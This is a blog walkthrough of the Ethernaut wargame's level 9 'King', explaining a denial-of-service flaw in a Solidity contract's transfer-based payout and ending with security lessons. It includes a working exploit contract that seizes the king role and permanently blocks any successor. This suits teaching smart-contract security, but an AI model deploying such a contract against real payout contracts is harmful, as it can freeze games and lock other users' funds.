Ethernaut Walkthrough — Level 9: King

Published on Dec 13, 2021

Level 9 of the Ethernaut game contains a contract that receives Ether and makes the biggest donor the next King. The old king receives the money prize and the new king will wait until somebody tries to become the next king. Classic Ponzi game indeed. This is what King Of The Ether did, before getting hacked.

In this level, we are asked to prevent someone from becoming the next king. After looking at the contract, the function we should focus on is receive().

receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value); 
    king = msg.sender; // This is the line we need to prevent
    prize = msg.value;
}

In order to prevent the new msg.sender to become the new king, we need to be able to crash the contract somehow on the lines above. The following line is vulnerable:

king.transfer(msg.value);

We can remember the lessons learned from Level 7 where we saw that some contracts won't be able to take your money. Only if you have a fallback or receive method in your contract will it be able to successfully receive Ether. If not, the transfer() method above will fail, preventing others from becoming king. This is because the contract won't be able to transfer the prize to the present king (which should be our contract address).

The hack

There are a couple of ways to prevent the transfer from succeeding to our contract address. Let's sum up our options and how we are going to pass this level.

  • first of all, we need to become the king by sending msg.value bigger than the prize
  • the current prize is 1ETH
  • king.transfer() will fail if
    • the king is a contract address that can't receive Ether
    • our contract doesn't have a fallback() or receive() method
    • our contract has fallback() or receive() methods that fail on purpose
  • we will opt for the easiest solution by creating a contract with no fallback methods

Here's a contract that does a simple value transfer but doesn't have a function to receive Ether, meaning it will cause a .transfer() to our contract to fail.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Hack {
    constructor() payable {
        // replace this with your Ethernaut level instance address
        address king = 0xd604cf3775FcCc4E9A06416C354A55C7f5C6c050;

        // send >1ETH to the level instance (set the value in MetaMask)
        (bool sent, ) = king.call{value: msg.value}("");
        require(sent, "Failed to send Ether");        
    }
    
}

After deploying the Hack contract to Rinkeby (use more than 1ETH do deploy because we need a value bigger than the current prize) a call goes out to the level instance contract, sending the ether.

Now, you'll be able to see that your contract address has become the new king. Check this in the Ethernaut console if you want, like so:

await contract._king();

If you submit the level, the following will happen:

  • Ethernaut will try to become the new king, by sending e.g. 10ETH to the contract
  • Our contract address is the current king and needs to receive the current prize
  • This will fail, because the contract won't be able to send us any money
  • The king will never be changed, because the contract will always crash at the .transfer() method

Security lessons learned

Don't use the .transfer method if you aren't sure these are account addresses and if you want to run logic after doing the transfer. We've learned that the transfer() method can fail when sending it to a corrupt contract.

It's better to use .call() because that allows us to check if a transfer was successful or not. This level was inspired by the King of the Ether hack.

Continue from here

Here's my solution for level 10

No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on Twitter @GoodBytes to keep the conversation going.